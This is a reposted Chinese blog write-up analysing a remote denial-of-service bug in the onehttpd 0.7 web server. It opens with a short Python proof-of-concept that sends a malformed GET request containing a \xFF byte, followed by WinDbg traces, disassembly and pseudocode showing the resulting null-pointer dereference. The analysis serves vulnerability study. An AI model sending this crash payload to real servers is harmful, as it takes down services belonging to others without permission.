安全圈 | 专注于最新网络信息安全讯息新闻

首页

onehttpd 0.7遠程拒絕服務漏洞分析

作者 eppolito 时间 2020-02-25
all

作者:k0shl轉載請注明出處:https://whereisk0shl.top

部落格一周年,非常感謝對部落格支持的小夥伴們!未來兩周博主在外遊蕩,暫時不更新部落格,等博主回來恢復更新,謝謝!

漏洞說明

軟體下載:https://www.exploit-db.com/apps/c95b319ff6ad98fef110303302b1b535-onehttpd-0.7.exe

PoC:

#!/usr/bin/env python # Exploit Title: onehttpd 0.7 Denial of Service # Date: 12 Aug 2013 # Exploit Author: superkojiman - http://www.techorganic.com # Vendor Homepage: https://code.google.com/p/onehttpd/ # Version: onehttpd 0.7 # Tested on: Windows 7 Ultimate English # Windows XP SP2 English # from socket import * buf = ( "GET /\xFF HTTP/1.1\r\n" + "Host: 192.168.1.143\r\n" + "\r\n" ) s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.1.143", 8080)) s.send(buf) s.close()

調試環境:Windows xp sp3

漏洞複現

對這個http服務的漏洞表示無言,這個應該純是開發的失誤造成的,問題出現在處理某指針值的時候,會對這個指針值進行判斷,如果大於某值,則會正常處理,如果沒有大於某值,則會置0,而在置0後後續操作後,這個值會作為一個指針被引用,從而導致當使用一個特定的值(這個值並非只有PoC給出的\xFF,其實\xEF等等都可以觸發這個漏洞)時,會由於置0後作為指針引用導致引用空指針,從而造成拒絕服務漏洞,下麵對此漏洞進行詳細分析。

首先打開http服務,用Windbg附加,執行PoC向HTTP服務端發送畸形數據,程式崩潰,Windbg到達漏洞位置。

0:001> g (cdc.fe8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000 eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for C:\onehttpd-0.7.exe onehttpd_0_7+0x15a4: 004015a4 8a07 mov al,byte ptr [edi] ds:0023:00000000=??

可以看到,此時edi的值為0,此時edi寄存器作為指針寄存器被引用,導致了空指針引用,通過kb查看一下堆棧調用情况。

0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0020fc58 00404202 009d004c 003e2518 00000000 onehttpd_0_7+0x15a4 0020fc98 004045ce 003e26f8 00248dd0 00000000 onehttpd_0_7+0x4202 0020fcd8 00404ae9 003e26f8 0020fcfc 00000028 onehttpd_0_7+0x45ce 0022ff28 00404d41 000007a0 003e2538 0022ff58 onehttpd_0_7+0x4ae9 0022ff58 004010a7 004012f0 00401066 0022ff78 onehttpd_0_7+0x4d41 0022ffa0 00401143 00000001 8061850d 7c92dc9c onehttpd_0_7+0x10a7 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 0022ffc0 7c817067 f199754a 01d1cdf0 7ffd4000 onehttpd_0_7+0x1143 0022fff0 00000000 00401130 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49

就從離棧頂最近的函數位置開始分析。

漏洞分析

通過棧頂回溯到函數sub_401581,對這個函數入口下中斷點跟踪。

.text:00401581 sub_401581 proc near ; CODE XREF: sub_403892+42p .text:00401581 ; sub_4041D4+29p .text:00401581 .text:00401581 var_1C = dword ptr -1Ch .text:00401581 var_10 = dword ptr -10h .text:00401581 arg_0 = dword ptr 8 .text:00401581 arg_4 = dword ptr 0Ch .text:00401581 .text:00401581 push ebp .text:00401582 mov ebp, esp .text:00401584 push edi .text:00401585 push esi .text:00401586 push ebx .text:00401587 sub esp, 0Ch .text:0040158A mov eax, [ebp+arg_4] .text:0040158D mov edi, [ebp+arg_0] .text:00401590 mov [ebp+var_10], eax .text:00401593 jmp loc_401680

單步跟踪到某個位置。

0:000> p eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=003e2518 eip=0040158d esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 onehttpd_0_7+0x158d: 0040158d 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0020fc60=009d004c 0:000> p eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=009d004c eip=00401590 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 onehttpd_0_7+0x1590: 00401590 8945f0 mov dword ptr [ebp-10h],eax ss:0023:0020fc48=0020fc58 0:000> dc edi 009d004c 4800ff2f 2f505454 00310031 736f4800 /..HTTP/1.1..Hos 009d005c 31203a74 312e3239 312e3836 3334312e t: 192.168.1.143

可以看到,此時已經是GET方法接收到的數據了,可以看到/目錄,也就是2f後面跟的是ff,也就是畸形字串,這個ff就是關鍵,接下來。

.text:00401590 mov [ebp+var_10], eax .text:00401593 jmp loc_401680

這裡會進行一次跳轉,跟踪到loc_401680這個塊的位置。

.text:00401598 loc_401598: ; CODE XREF: sub_401581+103j .text:00401598 cmp al, 1Fh .text:0040159A setnle al .text:0040159D movzx eax, al .text:004015A0 neg eax .text:004015A2 and edi, eax .text:004015A4 mov al, [edi]

這裡要重點關注一下al,al其實是eax寄存器的低地址,也就是最低比特,那麼004015A4就是發生空指針引用函數的位置,記住了al這個關鍵的位置之後,單步跟踪。

0:000> p eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d eip=00401598 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 onehttpd_0_7+0x1598: 00401598 3c1f cmp al,1Fh 0:000> p eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d eip=0040159a esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 onehttpd_0_7+0x159a: 0040159a 0f9fc0 setg al 0:000> p eax=ffffff00 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d eip=0040159d esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 onehttpd_0_7+0x159d: 0040159d 0fb6c0 movzx eax,al 0:000> p eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d eip=004015a0 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 onehttpd_0_7+0x15a0: 004015a0 f7d8 neg eax 0:000> p eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d eip=004015a2 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 onehttpd_0_7+0x15a2: 004015a2 21c7 and edi,eax 0:000> p eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000 eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 onehttpd_0_7+0x15a4: 004015a4 8a07 mov al,byte ptr [edi] ds:0023:00000000=??

可以看到,這裡先對al和1F,也就是31進行比較,接下來會進行取反操作,這個過程會令eax置0,接下來eax會令edi置0,在004015a4位置作為指針被引用,引發空指針漏洞。

signed int __cdecl sub_401581(_BYTE *a1, _BYTE *a2) { int v2; // [email protected] _BYTE *v3; // [email protected] _BYTE *v4; // [email protected] char v5; // [email protected] char v7; // [email protected] char v8; // [email protected] char v9; // [email protected] int v10; // [email protected] _BYTE *v11; // [sp+Ch] [bp-10h]@1 v3 = a1; v11 = a2; while ( 1 ) { if ( !*v3 ) { *v11 = 0; return 0; } v4 = (_BYTE *)(*v3 > 31 ? (unsigned int)v3 : 0); v5 = *v4;

最後來看一下偽代碼,v3就是a1,也就是接收到的數据包,這裡會對v3指針進行判斷,如果不大於31,則會置0交給v4,v4在接下來作為指針被引用,從而導致了拒絕服務漏洞。

正常情况下,v3的值都是符合條件的,也就是類似於ABC123這樣的可讀的ASCII碼,但開發人員顯然沒有考慮到自己構造數据包的特殊情况。